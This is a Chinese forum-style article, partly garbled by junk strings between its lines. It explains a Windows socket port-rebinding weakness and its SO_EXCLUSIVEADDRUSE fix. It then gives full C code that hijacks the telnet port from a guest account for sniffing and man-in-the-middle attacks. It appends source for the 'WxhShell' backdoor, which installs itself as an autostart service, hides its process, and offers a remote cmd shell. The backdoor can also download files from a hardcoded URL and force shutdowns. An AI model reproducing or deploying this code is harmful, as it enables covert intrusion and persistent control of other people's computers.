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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CM/H9Kz. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h]IxXP?h[ <GS^ saddr.sin_family = AF_INET; q( 1-8mFIK saddr.sin_addr.s_addr = htonl(INADDR_ANY); dP9qSwTa b6c Bg bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N]>=p.#j zGb|) A~, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F+YZE[h% e(]!GA 这意味着什么?意味着可以进行如下的攻击: ePOG}k($/% 1!xQ=DU" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,Xu-@br{ xgwY@'GN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b1(T4w6 >!eAM ) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,`'Qi%O @6Y?\Wx$w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 v [wb~uw\ :}He\V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9P1OP Xv*p +SP{hHa^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nHM~ :(/~:^! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LdYB7T,
v> LIvi|] #include h9t$Uz^N #include MU`1LHg #include &|s0P #include R6` WN DWORD WINAPI ClientThread(LPVOID lpParam); iOd&BB6 int main() <wk!hTmW { qmkAg }2 WORD wVersionRequested; HZ aV7dOZ8 DWORD ret; 1T"`vtR WSADATA wsaData; F|'>NL-= BOOL val; &p'Y^zL- SOCKADDR_IN saddr; hr#M-K SOCKADDR_IN scaddr; {BP{C=p int err; "M<8UE \n SOCKET s; d`QN^)F0# SOCKET sc; -R|,9o^ int caddsize; 6hno)kd{= HANDLE mt; H`*LBqDk DWORD tid; EEEh~6?-e wVersionRequested = MAKEWORD( 2, 2 ); =2`[& err = WSAStartup( wVersionRequested, &wsaData ); vNyf64) if ( err != 0 ) { 5#HW2"7 printf("error!WSAStartup failed!\n"); iowTLq!? return -1; Gj1&tjK } 0\X\izQ5 saddr.sin_family = AF_INET; !S$:*5=& 8v:T.o;< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %"q9:{m W,K;6TZhh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L^r#o-H< saddr.sin_port = htons(23); +Zb;Vn4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ] ]u
s % { T-'OwCB1q printf("error!socket failed!\n"); 6/f7< return -1; 4-l8,@9 } 'F/~o1\. val = TRUE; BGvre'67 //SO_REUSEADDR选项就是可以实现端口重绑定的 `xKp%9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %vn|k[nD { 'K$[^V printf("error!setsockopt failed!\n"); V><,UI=,n return -1; |J1$=s } e6`Jbu+J<f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8+~
>E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qSM|hHDo) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _?-E7:Sw j@AIK+0Qc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5GI,o|[s6 { D@,6M#SK ret=GetLastError(); BnX0G1|# printf("error!bind failed!\n"); S4Pxc
]! return -1; (9tX5$e6N } eVEV}`X listen(s,2); 4n#M while(1) .8 2P(}h { XD!W: uvb caddsize = sizeof(scaddr); ]tim,7s //接受连接请求 ?U%qPv: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >1.X*gi?- if(sc!=INVALID_SOCKET) dph{74Dc { '3R`lv mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $By<$ if(mt==NULL) 8^kGS-+^ { KKb,d0T[ printf("Thread Creat Failed!\n"); IY_iB*T3jt break; ]P9l jwR } B |5]Jm] } kGH }[w CloseHandle(mt); s%vis{2 } R6 y#S&]x closesocket(s); ^+*N%yr WSACleanup(); 5 )A1\ return 0; fZ6MSAh } |5X^u+_ DWORD WINAPI ClientThread(LPVOID lpParam) jSJqE_ 1 { ^\hG"5# SOCKET ss = (SOCKET)lpParam; 0 3L] SOCKET sc; %p Ynnfr unsigned char buf[4096]; SU MrFd~ SOCKADDR_IN saddr; o5u3Fjz3 long num; |-b#9JQ[A DWORD val; 4`lLf DWORD ret; [xbSYu,& //如果是隐藏端口应用的话,可以在此处加一些判断 {yBs7[Wn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1m'k|Ka saddr.sin_family = AF_INET; On8v//=& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "x#-sZ= saddr.sin_port = htons(23); +UC G0D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '<gI8W</ { raW>xOivR printf("error!socket failed!\n"); g!|=%(G= return -1; k
9_`(nx } $CRm3#+
~ val = 100; ?3/qz(bM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Je';9(ZK { gl~ecc ret = GetLastError(); Z< 1 return -1; 3BzNi' } !-g{[19\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]dF
,:8 { 9G9t" { ret = GetLastError(); ?Lx24*5% return -1;
|{&{ } d}OTO10 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,xw#NG6 { imVo<Je7z( printf("error!socket connect failed!\n"); UI0(=>L closesocket(sc); ;RH;OE,A closesocket(ss); 2my_ ;!6T[ return -1; FW;m\vu } , |0}<% while(1) Tg7an&# { FX;QG94! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O5!7'RZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 %9
SJ
E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i9rN9Mq?O num = recv(ss,buf,4096,0); hMa]B*o/- if(num>0) W}nlRbN? send(sc,buf,num,0); c|f<u{' else if(num==0) l\f*d6o break; *tGY6=7O num = recv(sc,buf,4096,0); *HU &4E\a if(num>0) l(yZO$ send(ss,buf,num,0); adlV!k7RG else if(num==0) -TLlwxc^% break; I"xo*} } BIH-"vTy closesocket(ss); O6@j &*jS closesocket(sc); ,1hxw<sNR return 0 ; f@6QvkIa } e*sfPHt HsxVZ.dS GmK^}=frj ========================================================== +|*IZ:w) <:_wbVn- 下边附上一个代码,,WXhSHELL 1kz\IQ{ ] ;KJ6 ========================================================== i)\L:qF5 m.hkbet/R #include "stdafx.h" -6Z\qxKqZ $5>e #include <stdio.h> evenq$
H #include <string.h> %]\kgRr #include <windows.h>
#+JG(^%B #include <winsock2.h> 4d"r^y' #include <winsvc.h> 1v#%Ei$6`t #include <urlmon.h> 7 G)ZN{' 65L6:}# #pragma comment (lib, "Ws2_32.lib") _ "E$v&_ #pragma comment (lib, "urlmon.lib") {M3qLf~z#C K~uXO #define MAX_USER 100 // 最大客户端连接数 I) rCd/ #define BUF_SOCK 200 // sock buffer e4-@f%5 #define KEY_BUFF 255 // 输入 buffer r`$OO,W ht|z<XJ #define REBOOT 0 // 重启 T=<@]$? #define SHUTDOWN 1 // 关机 '-QwssE 02Y]`CXj #define DEF_PORT 5000 // 监听端口 M\vwI" Cmu@4j& #define REG_LEN 16 // 注册表键长度 iky|Tp #define SVC_LEN 80 // NT服务名长度 w?3p';C PYiU_ // 从dll定义API md=TjMaY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JELTo u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \$R_YKGf1G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K'55O&2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'QJ:`)z 90Pl$#cb2 // wxhshell配置信息 dMPc:tJT struct WSCFG { c>,KZ! int ws_port; // 监听端口 {SOr#{1z* char ws_passstr[REG_LEN]; // 口令 X1,I int ws_autoins; // 安装标记, 1=yes 0=no GC<l#3+ char ws_regname[REG_LEN]; // 注册表键名 XND|h#i8 char ws_svcname[REG_LEN]; // 服务名 PvzcEV char ws_svcdisp[SVC_LEN]; // 服务显示名 v>:Ur}u!D char ws_svcdesc[SVC_LEN]; // 服务描述信息 09|K>UC)v char ws_passmsg[SVC_LEN]; // 密码输入提示信息 imo$-}A int ws_downexe; // 下载执行标记, 1=yes 0=no #TeG-sFJg@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]"r&]qx7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4hO!\5-w: 7X`l&7IXP };
bW$,?8( )}g(b= // default Wxhshell configuration *RDn0d[ struct WSCFG wscfg={DEF_PORT, H
>j "xuhuanlingzhe", +j#+8Ze 1, c7<wZ "Wxhshell", u$h
4lIl "Wxhshell", QaS1Dh "WxhShell Service", x%s-+& "Wrsky Windows CmdShell Service", F7
5#* "Please Input Your Password: ", ?e`^P 1, rT M}})81 " http://www.wrsky.com/wxhshell.exe", h mvfw:Nq4 "Wxhshell.exe" kC WEtbz1 }; oNr-Q& C, H[{F'c[e // 消息定义模块 UXeN 8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t=rEt>n~L char *msg_ws_prompt="\n\r? for help\n\r#>"; j -0z5|*KE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lyIl-!| char *msg_ws_ext="\n\rExit."; eds o2 char *msg_ws_end="\n\rQuit."; 2 X.r%&!1M char *msg_ws_boot="\n\rReboot..."; bhID#& char *msg_ws_poff="\n\rShutdown..."; .O74V~T char *msg_ws_down="\n\rSave to "; pqk?|BvpK_ H0:E(}@ char *msg_ws_err="\n\rErr!"; gGvz(R:y char *msg_ws_ok="\n\rOK!"; gRrL[z |^0XYBxQ char ExeFile[MAX_PATH]; H]P.
x!I int nUser = 0; J
cPtwa;q@ HANDLE handles[MAX_USER]; _7<FOOM%8y int OsIsNt;
S\LkL]qx *Tas`WA SERVICE_STATUS serviceStatus; yGI;ye'U SERVICE_STATUS_HANDLE hServiceStatusHandle; #~#R- ~F7-HaQJ // 函数声明 -jW.TT h] int Install(void); 7[w,:9& } int Uninstall(void); TBs|r# int DownloadFile(char *sURL, SOCKET wsh); 3Iua*#<m, int Boot(int flag); wE[]6\_x1 void HideProc(void); ]"J~:{, d int GetOsVer(void); rk&IlAE int Wxhshell(SOCKET wsl); MV<^!W void TalkWithClient(void *cs); wL;lQ& int CmdShell(SOCKET sock); "*($cQ$v int StartFromService(void); )n+Lo&C< int StartWxhshell(LPSTR lpCmdLine); 8hXl%{6d3 RzxNbeki[W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;P;-}u VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7/!8e.M\ a,xycX:U // 数据结构和表定义 ks"|}9\%< SERVICE_TABLE_ENTRY DispatchTable[] = S-Wz our, { %kv0Wefs {wscfg.ws_svcname, NTServiceMain}, R,gR;Aarw {NULL, NULL} \Npxv }; mIurA?&7! 3cFf#a # // 自我安装 AZ0;3<FfLp int Install(void) H+1-] 'g` { ,X#2\r<| char svExeFile[MAX_PATH]; 9G9fDG#F\I HKEY key; %Qc La// strcpy(svExeFile,ExeFile); Hcl(3>Jn2 K$>%e36Cc // 如果是win9x系统,修改注册表设为自启动 ->sm+H-* if(!OsIsNt) { ?sab*$wG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4
K!JQ|9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oT^{b\XN RegCloseKey(key); LISM ngQ. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ./,/y"x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q'|rgT RegCloseKey(key); pczug-nB return 0; l H#u } |L-]fjBbF } K17j$o^6KK } , 0imiv else { h^?\xm| { WIJC',Y // 如果是NT以上系统,安装为系统服务 g>Y|9Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8s"%u ) if (schSCManager!=0) Q(lo{AFc { K&bzDzd ` SC_HANDLE schService = CreateService 4^TG>j?M ( L_vISy%\b schSCManager, U[SaY0Z wscfg.ws_svcname, 6""G,"B wscfg.ws_svcdisp, wN`jE0
{ SERVICE_ALL_ACCESS, ]j'p :v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T@G?t0 SERVICE_AUTO_START, m=?KZ?U` SERVICE_ERROR_NORMAL, w,w{/T+B svExeFile, j:5=s%S NULL, }3o|EXx= NULL, gGr^@=;YC NULL, |k+8<\ NULL, ?,p;O NULL +,2:g}5 ); plUZ"Tr if (schService!=0) WfWN(:dF { "^4_@ oo CloseServiceHandle(schService); t\NqR CloseServiceHandle(schSCManager); h?rp|uPQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'h/C oTk@, strcat(svExeFile,wscfg.ws_svcname); >_e]C}QUr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K&nE_.kbl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v 0
}@ RegCloseKey(key); n1JRDw"e$$ return 0; hn^<;av= } sp#p8@Cj } e}Cif2#d~ CloseServiceHandle(schSCManager); >ZPsjQuf" } )Gj8X}DM } i;NUAmx |o{:ZmzM return 1; /`f^Y>4gD } s~>d:'k7| 0ZBJ~W // 自我卸载 <\Eh1[F int Uninstall(void) xgpi-l { )f}YW/' HKEY key; x$IX5:E#e ?3%`bY+3; if(!OsIsNt) { >_o} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3AQZRul RegDeleteValue(key,wscfg.ws_regname); ]%|GmtqZs, RegCloseKey(key); #bMuvaP~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |UK} RegDeleteValue(key,wscfg.ws_regname); K <pV RegCloseKey(key); hCCiD9gz return 0; }2(,K[? } JQV%fTH S } My<snmr2d } yHs-h
else { dQ_!)f&w1 ~V&aUDO>/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h(M#f7'~& if (schSCManager!=0) cc#gEm)3C { .#1~Rz1r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9A}# 6 if (schService!=0) jqv- D { Tsgk/e9K2? if(DeleteService(schService)!=0) { b
/@#}Gc CloseServiceHandle(schService); m\$\ 09 CloseServiceHandle(schSCManager); $4tWI O return 0; !|O~$2O@ } U7oo$gW%|T CloseServiceHandle(schService); "Jt.lL ]5 } 4zJtOK?r" CloseServiceHandle(schSCManager); }"=AG } wm)#[x # } bKrhIU[ 2'_:S@ return 1; cgm81+[%r } Fb7#<h ZHGC6a!a // 从指定url下载文件 )=AHf?hn int DownloadFile(char *sURL, SOCKET wsh) b!sRk@LGZ { :lB=Lr) HRESULT hr; 6
G3\=) char seps[]= "/"; LM7$}#$R char *token; `FYv3w2 char *file; XVKfl3'% char myURL[MAX_PATH]; 5]HS^II" char myFILE[MAX_PATH]; tZ^Ou89:rG @1DX strcpy(myURL,sURL); 87=^J
xy token=strtok(myURL,seps); bzX\IrJpOZ while(token!=NULL) GlbySD@ { dHK`eS$sb file=token; wvbPnf^y token=strtok(NULL,seps); e XfZ5(na } >TQH|}|6(y ai
nG6Y<O` GetCurrentDirectory(MAX_PATH,myFILE); \8<BLmf4U strcat(myFILE, "\\"); Hm$=h>rY9[ strcat(myFILE, file); =,Dqqf send(wsh,myFILE,strlen(myFILE),0); WAn~+=Ax send(wsh,"...",3,0); B>GE9y5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Fi>p0bz if(hr==S_OK) hRty [ return 0; WHjUR0NZ else R}lsnX< return 1; [P 06lIO w9,iq@ } 2 !At2P2 VUhbD // 系统电源模块 SQqD:{#g" int Boot(int flag) L{(QpgHZ { #B:hPZM1 HANDLE hToken; O2BW6Wc TOKEN_PRIVILEGES tkp; Sh?4ri@: _cc#Qlw 7 if(OsIsNt) { sVJ!FC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *e-A6Sh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); emdoA:w+ tkp.PrivilegeCount = 1; IRn2| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m< 3Ao^I+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r8,romE$ if(flag==REBOOT) { nWMmna.5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kt"BE j return 0; k'#(1(xj } ;gs
^%z else { E;1Jh(58)b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sgO'wXcoP return 0; FIbp"~ } TpHfS]W-P } s%2v3eb else { CT1ja.\; if(flag==REBOOT) { 2AtLyN'. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6%fKuMpK( return 0; (4\d]*u5-c } QK+(g,)_86 else { ed:@C? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^`G`phd$ return 0; TEMw8@b } G 2mX; } glDh([ MW PvR|Q return 1; q+[SbG& } H)>@/"j; #(1j#\ // win9x进程隐藏模块 b*FC\:\ void HideProc(void) Le*.*\ { D`xHD#j h 59#lU~Kv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ($LLl;1 if ( hKernel != NULL ) !vk|<P1 { mWyqG*-Hb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k<cgO[m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g7&9" FreeLibrary(hKernel); E=cwq" } ;s~X :<Fe return; =L C:SFzF } 3;8!rNN ZvUCI8 // 获取操作系统版本 Y&
F=t/U2 int GetOsVer(void) &`fhEN { {&"L~>/o OSVERSIONINFO winfo; (I@rLvZr{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eQVZO>)P1+ GetVersionEx(&winfo); J@OB`2?Zv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H<QT3RF2 return 1; y2+p1 else ^mb[j`CCt return 0; ^1wA:?uN} } r%e KFS XfKo A0 // 客户端句柄模块 UThB7(O, int Wxhshell(SOCKET wsl) ;r6jx"i { %eJGte- SOCKET wsh; Vp<seO;7o struct sockaddr_in client; _ z;q9&J) DWORD myID; fd#jY} &<+ A((/i while(nUser<MAX_USER) Q43|U4a { (D
9Su^:1 int nSize=sizeof(client); g/&T[FOr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /5#rADOS if(wsh==INVALID_SOCKET) return 1; Iu{kPyx i@][rdhT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c5Q<$86 if(handles[nUser]==0) w ~ dk#= closesocket(wsh); c)Ic#<e( else 6&!&\ nUser++; 4:7V./" 9 } iL=
m{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (oJ9k[( `juLQH return 0; rS0DSGDq } VqE~c } %'bullT // 关闭 socket k"N(o( void CloseIt(SOCKET wsh) 5qf
BEPJ { (n1Bh~R^ closesocket(wsh); yi^b)2G nUser--; 'SYo_! ExitThread(0);
[|~2X> } 9z
I.pv+] `y+-H|%? // 客户端请求句柄 WO6/X/#8b void TalkWithClient(void *cs) Lw'9 { bT6sb#"W )XfzLF7 SOCKET wsh=(SOCKET)cs; HAYMX:% char pwd[SVC_LEN]; Jjl%R[mI char cmd[KEY_BUFF]; DOz\n|8S char chr[1]; ~w</!s int i,j; HK)cKzG[s! {T'GQz+R" while (nUser < MAX_USER) { c>1RP5vx ZvGgmLN if(wscfg.ws_passstr) { UA~RK2k? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {"vkji> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W-
$a
Y2 //ZeroMemory(pwd,KEY_BUFF); 5/QRL\ i=0; cE iu)2*e while(i<SVC_LEN) { WU4U Zpz \ j.x0/; // 设置超时 S?{/hy fd_set FdRead; .d?%;2*{q struct timeval TimeOut; `mH %!{P FD_ZERO(&FdRead); f(D_FTTO FD_SET(wsh,&FdRead); ]MtFf6& TimeOut.tv_sec=8; gq"k<C0 TimeOut.tv_usec=0; iU+nqY' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aS}1Q?cU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &t(0E:^TRU # tdf>? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _28<m
JfG pwd =chr[0]; ^Cv^yTj;& if(chr[0]==0xd || chr[0]==0xa) { ]l~Vi_c pwd=0; Sb".]>^ break; W2;N<[wa<u } f&4,?E;6% i++;
LzDI0a. } L5IbExjV rC_*sx
r^ // 如果是非法用户,关闭 socket <P%}|@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '<iK*[NW } qEUT90 ._z'g_c( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QMo}W{D send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +KEkmXZ E^ hHH?w+ while(1) { k#}g,0@ ?hYqcT[% ZeroMemory(cmd,KEY_BUFF); !}M, I1 U7.CT // 自动支持客户端 telnet标准 7:NmCpgL! j=0; RQW6N??C while(j<KEY_BUFF) { 5~XN>>hp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ":Edu,6O cmd[j]=chr[0]; Lh$dzHq if(chr[0]==0xa || chr[0]==0xd) { RE 3Z%;' cmd[j]=0; _kFYBd break; l_/C65%.: } qJR!$? j++; iO1nwl !# } f]8I64 ]J2:194 // 下载文件 lo&#(L+2 if(strstr(cmd,"http://")) { .wrL3z_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); $\a5&1rl if(DownloadFile(cmd,wsh)) :Zw@yt send(wsh,msg_ws_err,strlen(msg_ws_err),0); MVv1.6c7Y else {}>n{_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pN[0YmY# } IO.<q,pP!_ else { o**y Z2 %qsvtc` switch(cmd[0]) { Zs zs1{t (y4#.vZh: // 帮助 2_QN&o ~h case '?': { d6 _C"r send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h7_)%U<J2 break; K_-d( } CPazEe1S // 安装 S(eQ{rSs case 'i': { Ja^ 5?Ar| if(Install()) @nV5.r0W}B send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{_yaVF else x;BbTBc> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E^ h=!RW{ break; q W^vz } ?Ce#BwQ> // 卸载 Vs0 SXj case 'r': { ":?T%v> if(Uninstall()) \ SCy$,m send(wsh,msg_ws_err,strlen(msg_ws_err),0); `kN#4p else ~KIDv;HSb[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jkrx]`A{~ break; zxZtz } zz$q5[n // 显示 wxhshell 所在路径 &;q<M_< case 'p': { NSLVD[yT char svExeFile[MAX_PATH]; iT)WR90 strcpy(svExeFile,"\n\r"); q(z7~:+qNr strcat(svExeFile,ExeFile); eTE2J~\ send(wsh,svExeFile,strlen(svExeFile),0); P]<= ! F break; Sg*0[a3z } 0??Yr // 重启 17UK1Jx, case 'b': { $. e) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %I4zQiJ% if(Boot(REBOOT)) q@#BPu"\l send(wsh,msg_ws_err,strlen(msg_ws_err),0); L0h
G else { _ptP[SV^j closesocket(wsh); u"VS* hSH ExitThread(0); K!8zwb=fq } Aa(<L$e!` break; CUmH,`hu } 89eq[ |G_ // 关机 d;suACW case 'd': { 0my9l;X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ML!9:vz if(Boot(SHUTDOWN)) {/M\Q@j send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7|D|4!i2Y else { L-'k7?%( closesocket(wsh); qJs[i>P[W ExitThread(0); p%RUHN3G[ } oFg'wAO. break; }N3`gCy9eN } XdIah<F2 // 获取shell JAb$M{t case 's': { saK;[&I* CmdShell(wsh); (ppoW closesocket(wsh); ;( KMGir ExitThread(0); WVL#s?=g break; J 3?Dj } hH4o;0rqJ // 退出 Sni=gZ K case 'x': { #3.)H9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (.^8^uc7X CloseIt(wsh); [ #]jC[ break; z%2w(&1 } _-a|VTM // 离开 ?eWJa case 'q': { E[S' :Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); @W9H9PWv& closesocket(wsh); O3_B<Em WSACleanup(); co]Gmg6p exit(1); {rGYRn, break; T^)plWw } Xem| o& } i:Mc(mW } lBiovT "a(1s}, // 提示信息 S %+R#A1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t"YIq/08 } d^aNR
Lv } Y+|PY?
~ 0BC`iql5 return; Mvof%I } NWISS [
-12]3 // shell模块句柄 [h", D5 int CmdShell(SOCKET sock) *)%dXVf { &:8T$UV STARTUPINFO si; GVObz?Z]SB ZeroMemory(&si,sizeof(si)); &:auB:b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9t}xXk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8eww7k^R PROCESS_INFORMATION ProcessInfo; =HPu{K$ char cmdline[]="cmd"; a/e\vwHLv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;eR{tH /4 return 0; (5(fd.m+_ } s`Vf+l0 AF[>fMI // 自身启动模式 qBiyGlu4 int StartFromService(void) <JH9StGGc? { twv
lQ| typedef struct YX `%A6 { qhxC 5f4Z DWORD ExitStatus; 0WS|~?OR@ DWORD PebBaseAddress; BGpk&.J DWORD AffinityMask; $[QcEk DWORD BasePriority; sX~45u \ ULONG UniqueProcessId; 51/sTx<Z} ULONG InheritedFromUniqueProcessId; Vj7Hgc-, } PROCESS_BASIC_INFORMATION; nt`<y0ta |8;?
